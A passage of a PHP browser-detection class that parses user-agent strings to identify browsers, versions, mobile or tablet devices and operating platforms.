                     $aversion = explode('/', $this->_agent);
                     if (isset($aversion[1])) {
                         $this->setVersion($aversion[1]);
                     }
                 }
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is Opera or not (last updated 1.7)
      * @return boolean True if the browser is Opera otherwise false
      */
     protected function checkBrowserOpera() {
         if (stripos($this->_agent, 'opera mini') !== false) {
             $resultant = stristr($this->_agent, 'opera mini');
             if (preg_match('/\//', $resultant)) {
                 $aresult = explode('/', $resultant);
                 if (isset($aresult[1])) {
                     $aversion = explode(' ', $aresult[1]);
                     $this->setVersion($aversion[0]);
                 }
             } else {
                 $aversion = explode(' ', stristr($resultant, 'opera mini'));
                 if (isset($aversion[1])) {
                     $this->setVersion($aversion[1]);
                 }
             }
             $this->_browser_name = self::BROWSER_OPERA_MINI;
             $this->setMobile(true);
 
             return true;
         } else if (stripos($this->_agent, 'opera') !== false) {
             $resultant = stristr($this->_agent, 'opera');
             if (preg_match('/Version\/(1*.*)$/', $resultant, $matches)) {
                 $this->setVersion($matches[1]);
             } else if (preg_match('/\//', $resultant)) {
                 $aresult = explode('/', str_replace("(", " ", $resultant));
                 if (isset($aresult[1])) {
                     $aversion = explode(' ', $aresult[1]);
                     $this->setVersion($aversion[0]);
                 }
             } else {
                 $aversion = explode(' ', stristr($resultant, 'opera'));
                 $this->setVersion(isset($aversion[1]) ? $aversion[1] : "" );
             }
             if (stripos($this->_agent, 'Opera Mobi') !== false) {
                 $this->setMobile(true);
             }
             $this->_browser_name = self::BROWSER_OPERA;
 
             return true;
         } else if (stripos($this->_agent, 'OPR') !== false) {
             $resultant = stristr($this->_agent, 'OPR');
             if (preg_match('/\//', $resultant)) {
                 $aresult = explode('/', str_replace("(", " ", $resultant));
                 if (isset($aresult[1])) {
                     $aversion = explode(' ', $aresult[1]);
                     $this->setVersion($aversion[0]);
                 }
             }
             if (stripos($this->_agent, 'Mobile') !== false) {
                 $this->setMobile(true);
             }
             $this->_browser_name = self::BROWSER_OPERA;
 
             return true;
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is Chrome or not (last updated 1.7)
      * @return boolean True if the browser is Chrome otherwise false
      */
     protected function checkBrowserChrome() {
         if (stripos($this->_agent, 'Chrome') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'Chrome'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion($aversion[0]);
                 $this->setBrowser(self::BROWSER_CHROME);
                 //Chrome on Android
                 if (stripos($this->_agent, 'Android') !== false) {
                     if (stripos($this->_agent, 'Mobile') !== false) {
                         $this->setMobile(true);
                     } else {
                         $this->setTablet(true);
                     }
                 }
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is WebTv or not (last updated 1.7)
      * @return boolean True if the browser is WebTv otherwise false
      */
     protected function checkBrowserWebTv() {
         if (stripos($this->_agent, 'webtv') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'webtv'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion($aversion[0]);
                 $this->setBrowser(self::BROWSER_WEBTV);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is NetPositive or not (last updated 1.7)
      * @return boolean True if the browser is NetPositive otherwise false
      */
     protected function checkBrowserNetPositive() {
         if (stripos($this->_agent, 'NetPositive') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'NetPositive'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion(str_replace(array('(', ')', ';'), '', $aversion[0]));
                 $this->setBrowser(self::BROWSER_NETPOSITIVE);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is Galeon or not (last updated 1.7)
      * @return boolean True if the browser is Galeon otherwise false
      */
     protected function checkBrowserGaleon() {
         if (stripos($this->_agent, 'galeon') !== false) {
             $aresult = explode(' ', stristr($this->_agent, 'galeon'));
             $aversion = explode('/', $aresult[0]);
             if (isset($aversion[1])) {
                 $this->setVersion($aversion[1]);
                 $this->setBrowser(self::BROWSER_GALEON);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is Konqueror or not (last updated 1.7)
      * @return boolean True if the browser is Konqueror otherwise false
      */
     protected function checkBrowserKonqueror() {
         if (stripos($this->_agent, 'Konqueror') !== false) {
             $aresult = explode(' ', stristr($this->_agent, 'Konqueror'));
             $aversion = explode('/', $aresult[0]);
             if (isset($aversion[1])) {
                 $this->setVersion($aversion[1]);
                 $this->setBrowser(self::BROWSER_KONQUEROR);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is iCab or not (last updated 1.7)
      * @return boolean True if the browser is iCab otherwise false
      */
     protected function checkBrowserIcab() {
         if (stripos($this->_agent, 'icab') !== false) {
             $aversion = explode(' ', stristr(str_replace('/', ' ', $this->_agent), 'icab'));
             if (isset($aversion[1])) {
                 $this->setVersion($aversion[1]);
                 $this->setBrowser(self::BROWSER_ICAB);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is OmniWeb or not (last updated 1.7)
      * @return boolean True if the browser is OmniWeb otherwise false
      */
     protected function checkBrowserOmniWeb() {
         if (stripos($this->_agent, 'omniweb') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'omniweb'));
             $aversion = explode(' ', isset($aresult[1]) ? $aresult[1] : "");
             $this->setVersion($aversion[0]);
             $this->setBrowser(self::BROWSER_OMNIWEB);
 
             return true;
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is Phoenix or not (last updated 1.7)
      * @return boolean True if the browser is Phoenix otherwise false
      */
     protected function checkBrowserPhoenix() {
         if (stripos($this->_agent, 'Phoenix') !== false) {
             $aversion = explode('/', stristr($this->_agent, 'Phoenix'));
             if (isset($aversion[1])) {
                 $this->setVersion($aversion[1]);
                 $this->setBrowser(self::BROWSER_PHOENIX);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is Firebird or not (last updated 1.7)
      * @return boolean True if the browser is Firebird otherwise false
      */
     protected function checkBrowserFirebird() {
         if (stripos($this->_agent, 'Firebird') !== false) {
             $aversion = explode('/', stristr($this->_agent, 'Firebird'));
             if (isset($aversion[1])) {
                 $this->setVersion($aversion[1]);
                 $this->setBrowser(self::BROWSER_FIREBIRD);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is Netscape Navigator 9+ or not (last updated 1.7)
      * NOTE: (http://browser.netscape.com/ - Official support ended on March 1st, 2008)
      * @return boolean True if the browser is Netscape Navigator 9+ otherwise false
      */
     protected function checkBrowserNetscapeNavigator9Plus() {
         if (stripos($this->_agent, 'Firefox') !== false && preg_match('/Navigator\/([^ ]*)/i', $this->_agent, $matches)) {
             $this->setVersion($matches[1]);
             $this->setBrowser(self::BROWSER_NETSCAPE_NAVIGATOR);
 
             return true;
         } else if (stripos($this->_agent, 'Firefox') === false && preg_match('/Netscape6?\/([^ ]*)/i', $this->_agent, $matches)) {
             $this->setVersion($matches[1]);
             $this->setBrowser(self::BROWSER_NETSCAPE_NAVIGATOR);
 
             return true;
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is Shiretoko or not (https://wiki.mozilla.org/Projects/shiretoko) (last updated 1.7)
      * @return boolean True if the browser is Shiretoko otherwise false
      */
     protected function checkBrowserShiretoko() {
         if (stripos($this->_agent, 'Mozilla') !== false && preg_match('/Shiretoko\/([^ ]*)/i', $this->_agent, $matches)) {
             $this->setVersion($matches[1]);
             $this->setBrowser(self::BROWSER_SHIRETOKO);
 
             return true;
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is Ice Cat or not (http://en.wikipedia.org/wiki/GNU_IceCat) (last updated 1.7)
      * @return boolean True if the browser is Ice Cat otherwise false
      */
     protected function checkBrowserIceCat() {
         if (stripos($this->_agent, 'Mozilla') !== false && preg_match('/IceCat\/([^ ]*)/i', $this->_agent, $matches)) {
             $this->setVersion($matches[1]);
             $this->setBrowser(self::BROWSER_ICECAT);
 
             return true;
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is Nokia or not (last updated 1.7)
      * @return boolean True if the browser is Nokia otherwise false
      */
     protected function checkBrowserNokia() {
         if (preg_match("/Nokia([^\/]+)\/([^ SP]+)/i", $this->_agent, $matches)) {
             $this->setVersion($matches[2]);
             if (stripos($this->_agent, 'Series60') !== false || strpos($this->_agent, 'S60') !== false) {
                 $this->setBrowser(self::BROWSER_NOKIA_S60);
             } else {
                 $this->setBrowser(self::BROWSER_NOKIA);
             }
             $this->setMobile(true);
 
             return true;
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is Firefox or not (last updated 1.7)
      * @return boolean True if the browser is Firefox otherwise false
      */
     protected function checkBrowserFirefox() {
         if (stripos($this->_agent, 'safari') === false) {
             if (preg_match("/Firefox[\/ \(]([^ ;\)]+)/i", $this->_agent, $matches)) {
                 $this->setVersion($matches[1]);
                 $this->setBrowser(self::BROWSER_FIREFOX);
                 //Firefox on Android
                 if (stripos($this->_agent, 'Android') !== false) {
                     if (stripos($this->_agent, 'Mobile') !== false) {
                         $this->setMobile(true);
                     } else {
                         $this->setTablet(true);
                     }
                 }
 
                 return true;
             } else if (preg_match("/Firefox$/i", $this->_agent, $matches)) {
                 $this->setVersion("");
                 $this->setBrowser(self::BROWSER_FIREFOX);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is Firefox or not (last updated 1.7)
      * @return boolean True if the browser is Firefox otherwise false
      */
     protected function checkBrowserIceweasel() {
         if (stripos($this->_agent, 'Iceweasel') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'Iceweasel'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion($aversion[0]);
                 $this->setBrowser(self::BROWSER_ICEWEASEL);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is Mozilla or not (last updated 1.7)
      * @return boolean True if the browser is Mozilla otherwise false
      */
     protected function checkBrowserMozilla() {
         if (stripos($this->_agent, 'mozilla') !== false && preg_match('/rv:[0-9].[0-9][a-b]?/i', $this->_agent) && stripos($this->_agent, 'netscape') === false) {
             $aversion = explode(' ', stristr($this->_agent, 'rv:'));
             preg_match('/rv:[0-9].[0-9][a-b]?/i', $this->_agent, $aversion);
             $this->setVersion(str_replace('rv:', '', $aversion[0]));
             $this->setBrowser(self::BROWSER_MOZILLA);
 
             return true;
         } else if (stripos($this->_agent, 'mozilla') !== false && preg_match('/rv:[0-9]\.[0-9]/i', $this->_agent) && stripos($this->_agent, 'netscape') === false) {
             $aversion = explode('', stristr($this->_agent, 'rv:'));
             $this->setVersion(str_replace('rv:', '', $aversion[0]));
             $this->setBrowser(self::BROWSER_MOZILLA);
 
             return true;
         } else if (stripos($this->_agent, 'mozilla') !== false && preg_match('/mozilla\/([^ ]*)/i', $this->_agent, $matches) && stripos($this->_agent, 'netscape') === false) {
             $this->setVersion($matches[1]);
             $this->setBrowser(self::BROWSER_MOZILLA);
 
             return true;
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is Lynx or not (last updated 1.7)
      * @return boolean True if the browser is Lynx otherwise false
      */
     protected function checkBrowserLynx() {
         if (stripos($this->_agent, 'lynx') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'Lynx'));
             $aversion = explode(' ', ( isset($aresult[1]) ? $aresult[1] : ""));
             $this->setVersion($aversion[0]);
             $this->setBrowser(self::BROWSER_LYNX);
 
             return true;
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is Amaya or not (last updated 1.7)
      * @return boolean True if the browser is Amaya otherwise false
      */
     protected function checkBrowserAmaya() {
         if (stripos($this->_agent, 'amaya') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'Amaya'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion($aversion[0]);
                 $this->setBrowser(self::BROWSER_AMAYA);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is Safari or not (last updated 1.7)
      * @return boolean True if the browser is Safari otherwise false
      */
     protected function checkBrowserSafari() {
         if (stripos($this->_agent, 'Safari') !== false && stripos($this->_agent, 'iPhone') === false && stripos($this->_agent, 'iPod') === false
         ) {
 
             $aresult = explode('/', stristr($this->_agent, 'Version'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion($aversion[0]);
             } else {
                 $this->setVersion(self::VERSION_UNKNOWN);
             }
             $this->setBrowser(self::BROWSER_SAFARI);
 
             return true;
         }
 
         return false;
     }
 
     protected function checkBrowserSamsung() {
         if (stripos($this->_agent, 'SamsungBrowser') !== false) {
 
             $aresult = explode('/', stristr($this->_agent, 'SamsungBrowser'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion($aversion[0]);
             } else {
                 $this->setVersion(self::VERSION_UNKNOWN);
             }
             $this->setBrowser(self::BROWSER_SAMSUNG);
 
             return true;
         }
 
         return false;
     }
 
     protected function checkBrowserSilk() {
         if (stripos($this->_agent, 'Silk') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'Silk'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion($aversion[0]);
             } else {
                 $this->setVersion(self::VERSION_UNKNOWN);
             }
             $this->setBrowser(self::BROWSER_SILK);
 
             return true;
         }
 
         return false;
     }
 
     protected function checkBrowserIframely() {
         if (stripos($this->_agent, 'Iframely') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'Iframely'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion($aversion[0]);
             } else {
                 $this->setVersion(self::VERSION_UNKNOWN);
             }
             $this->setBrowser(self::BROWSER_I_FRAME);
 
             return true;
         }
 
         return false;
     }
 
     protected function checkBrowserCocoa() {
         if (stripos($this->_agent, 'CocoaRestClient') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'CocoaRestClient'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion($aversion[0]);
             } else {
                 $this->setVersion(self::VERSION_UNKNOWN);
             }
             $this->setBrowser(self::BROWSER_COCOA);
 
             return true;
         }
 
         return false;
     }
 
     /**
      * Detect if URL is loaded from FacebookExternalHit
      * @return boolean True if it detects FacebookExternalHit otherwise false
      */
     protected function checkFacebookExternalHit() {
         if (stristr($this->_agent, 'FacebookExternalHit')) {
             $this->setRobot(true);
             $this->setFacebook(true);
 
             return true;
         }
 
         return false;
     }
 
     /**
      * Detect if URL is being loaded from internal Facebook browser
      * @return boolean True if it detects internal Facebook browser otherwise false
      */
     protected function checkForFacebookIos() {
         if (stristr($this->_agent, 'FBIOS')) {
             $this->setFacebook(true);
 
             return true;
         }
 
         return false;
     }
 
     /**
      * Detect Version for the Safari browser on iOS devices
      * @return boolean True if it detects the version correctly otherwise false
      */
     protected function getSafariVersionOnIos() {
         $aresult = explode('/', stristr($this->_agent, 'Version'));
         if (isset($aresult[1])) {
             $aversion = explode(' ', $aresult[1]);
             $this->setVersion($aversion[0]);
 
             return true;
         }
 
         return false;
     }
 
     /**
      * Detect Version for the Chrome browser on iOS devices
      * @return boolean True if it detects the version correctly otherwise false
      */
     protected function getChromeVersionOnIos() {
         $aresult = explode('/', stristr($this->_agent, 'CriOS'));
         if (isset($aresult[1])) {
             $aversion = explode(' ', $aresult[1]);
             $this->setVersion($aversion[0]);
             $this->setBrowser(self::BROWSER_CHROME);
 
             return true;
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is iPhone or not (last updated 1.7)
      * @return boolean True if the browser is iPhone otherwise false
      */
     protected function checkBrowseriPhone() {
         if (stripos($this->_agent, 'iPhone') !== false) {
             $this->setVersion(self::VERSION_UNKNOWN);
             $this->setBrowser(self::BROWSER_IPHONE);
             $this->getSafariVersionOnIos();
             $this->getChromeVersionOnIos();
             $this->checkForFacebookIos();
             $this->setMobile(true);
 
             return true;
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is iPad or not (last updated 1.7)
      * @return boolean True if the browser is iPad otherwise false
      */
     protected function checkBrowseriPad() {
         if (stripos($this->_agent, 'iPad') !== false) {
             $this->setVersion(self::VERSION_UNKNOWN);
             $this->setBrowser(self::BROWSER_IPAD);
             $this->getSafariVersionOnIos();
             $this->getChromeVersionOnIos();
             $this->checkForFacebookIos();
             $this->setTablet(true);
 
             return true;
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is iPod or not (last updated 1.7)
      * @return boolean True if the browser is iPod otherwise false
      */
     protected function checkBrowseriPod() {
         if (stripos($this->_agent, 'iPod') !== false) {
             $this->setVersion(self::VERSION_UNKNOWN);
             $this->setBrowser(self::BROWSER_IPOD);
             $this->getSafariVersionOnIos();
             $this->getChromeVersionOnIos();
             $this->checkForFacebookIos();
             $this->setMobile(true);
 
             return true;
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is Android or not (last updated 1.7)
      * @return boolean True if the browser is Android otherwise false
      */
     protected function checkBrowserAndroid() {
         if (stripos($this->_agent, 'Android') !== false) {
             $aresult = explode(' ', stristr($this->_agent, 'Android'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion($aversion[0]);
             } else {
                 $this->setVersion(self::VERSION_UNKNOWN);
             }
             if (stripos($this->_agent, 'Mobile') !== false) {
                 $this->setMobile(true);
             } else {
                 $this->setTablet(true);
             }
             $this->setBrowser(self::BROWSER_ANDROID);
 
             return true;
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is Vivaldi
      * @return boolean True if the browser is Vivaldi otherwise false
      */
     protected function checkBrowserVivaldi() {
         if (stripos($this->_agent, 'Vivaldi') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'Vivaldi'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion($aversion[0]);
                 $this->setBrowser(self::BROWSER_VIVALDI);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is Yandex
      * @return boolean True if the browser is Yandex otherwise false
      */
     protected function checkBrowserYandex() {
         if (stripos($this->_agent, 'YaBrowser') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'YaBrowser'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion($aversion[0]);
                 $this->setBrowser(self::BROWSER_YANDEX);
 
                 if (stripos($this->_agent, 'iPad') !== false) {
                     $this->setTablet(true);
                 } elseif (stripos($this->_agent, 'Mobile') !== false) {
                     $this->setMobile(true);
                 } elseif (stripos($this->_agent, 'Android') !== false) {
                     $this->setTablet(true);
                 }
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is a PlayStation
      * @return boolean True if the browser is PlayStation otherwise false
      */
     protected function checkBrowserPlayStation() {
         if (stripos($this->_agent, 'PlayStation ') !== false) {
             $aresult = explode(' ', stristr($this->_agent, 'PlayStation '));
             $this->setBrowser(self::BROWSER_PLAYSTATION);
             if (isset($aresult[0])) {
                 $aversion = explode(')', $aresult[2]);
                 $this->setVersion($aversion[0]);
                 if (stripos($this->_agent, 'Portable)') !== false || stripos($this->_agent, 'Vita') !== false) {
                     $this->setMobile(true);
                 }
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine the user's platform (last updated 2.0)
      */
     protected function checkPlatform() {
         if (stripos($this->_agent, 'windows') !== false) {
             $this->_platform = self::PLATFORM_WINDOWS;
         } else if (stripos($this->_agent, 'iPad') !== false) {
             $this->_platform = self::PLATFORM_IPAD;
         } else if (stripos($this->_agent, 'iPod') !== false) {
             $this->_platform = self::PLATFORM_IPOD;
         } else if (stripos($this->_agent, 'iPhone') !== false) {
             $this->_platform = self::PLATFORM_IPHONE;
         } elseif (stripos($this->_agent, 'mac') !== false) {
             $this->_platform = self::PLATFORM_APPLE;
         } elseif (stripos($this->_agent, 'android') !== false) {
             $this->_platform = self::PLATFORM_ANDROID;
         } elseif (stripos($this->_agent, 'Silk') !== false) {
             $this->_platform = self::PLATFORM_FIRE_OS;
         } elseif (stripos($this->_agent, 'linux') !== false && stripos($this->_agent, 'SMART-TV') !== false) {
             $this->_platform = self::PLATFORM_LINUX . '/' . self::PLATFORM_SMART_TV;
         } elseif (stripos($this->_agent, 'linux') !== false) {
             $this->_platform = self::PLATFORM_LINUX;
         } else if (stripos($this->_agent, 'Nokia') !== false) {
             $this->_platform = self::PLATFORM_NOKIA;
         } else if (stripos($this->_agent, 'BlackBerry') !== false) {
             $this->_platform = self::PLATFORM_BLACKBERRY;
         } elseif (stripos($this->_agent, 'FreeBSD') !== false) {
             $this->_platform = self::PLATFORM_FREEBSD;
         } elseif (stripos($this->_agent, 'OpenBSD') !== false) {
             $this->_platform = self::PLATFORM_OPENBSD;
         } elseif (stripos($this->_agent, 'NetBSD') !== false) {
             $this->_platform = self::PLATFORM_NETBSD;
         } elseif (stripos($this->_agent, 'OpenSolaris') !== false) {
             $this->_platform = self::PLATFORM_OPENSOLARIS;
         } elseif (stripos($this->_agent, 'SunOS') !== false) {
             $this->_platform = self::PLATFORM_SUNOS;
         } elseif (stripos($this->_agent, 'OS\/2') !== false) {
             $this->_platform = self::PLATFORM_OS2;
         } elseif (stripos($this->_agent, 'BeOS') !== false) {
             $this->_platform = self::PLATFORM_BEOS;
         } elseif (stripos($this->_agent, 'win') !== false) {
             $this->_platform = self::PLATFORM_WINDOWS;
         } elseif (stripos($this->_agent, 'Playstation') !== false) {
             $this->_platform = self::PLATFORM_PLAYSTATION;
         } elseif (stripos($this->_agent, 'Roku') !== false) {
             $this->_platform = self::PLATFORM_ROKU;
         } elseif (stripos($this->_agent, 'iOS') !== false) {
             $this->_platform = self::PLATFORM_IPHONE . '/' . self::PLATFORM_IPAD;
         } elseif (stripos($this->_agent, 'tvOS') !== false) {
             $this->_platform = self::PLATFORM_APPLE_TV;
         } elseif (stripos($this->_agent, 'curl') !== false) {
             $this->_platform = self::PLATFORM_TERMINAL;
         } elseif (stripos($this->_agent, 'CrOS') !== false) {
             $this->_platform = self::PLATFORM_CHROME_OS;
         } elseif (stripos($this->_agent, 'okhttp') !== false) {
             $this->_platform = self::PLATFORM_JAVA_ANDROID;
         } elseif (stripos($this->_agent, 'PostmanRuntime') !== false) {
             $this->_platform = self::PLATFORM_POSTMAN;
         } elseif (stripos($this->_agent, 'Iframely') !== false) {
             $this->_platform = self::PLATFORM_I_FRAME;
         }
     }
 
 }